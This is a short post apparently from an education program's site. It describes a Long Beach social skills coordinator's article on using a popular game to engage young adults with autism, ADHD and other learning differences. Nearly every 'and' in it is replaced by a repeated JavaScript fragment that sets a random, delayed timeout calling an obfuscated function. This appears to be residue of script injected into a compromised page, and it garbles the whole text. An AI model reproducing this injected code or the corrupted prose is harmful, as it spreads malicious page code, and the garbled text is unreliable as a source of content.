Our CIP Social Skills Coordinator in Long Beach, California, Jolene, is always looking for the latest andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and greatest ways to get our young adults with autism, ADHD, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and other learning differences engaged in their own learning. She’s written about using Meet Ups, technology, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and other tools in her small groups andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and individual sessions.
Jolene explains what all the hype is, covers the potential benefits andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and downsides, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and gives detailed instructions for how you, as a teacher or parent, can use the game as a motivational tool to help young adults with social communication issues (Autism, ADHD, etc) embrace this andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and use it as a tool for exploration – both in the great outdoors andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and within the social realm. Here’s another timely tool to add to your teaching toolkit!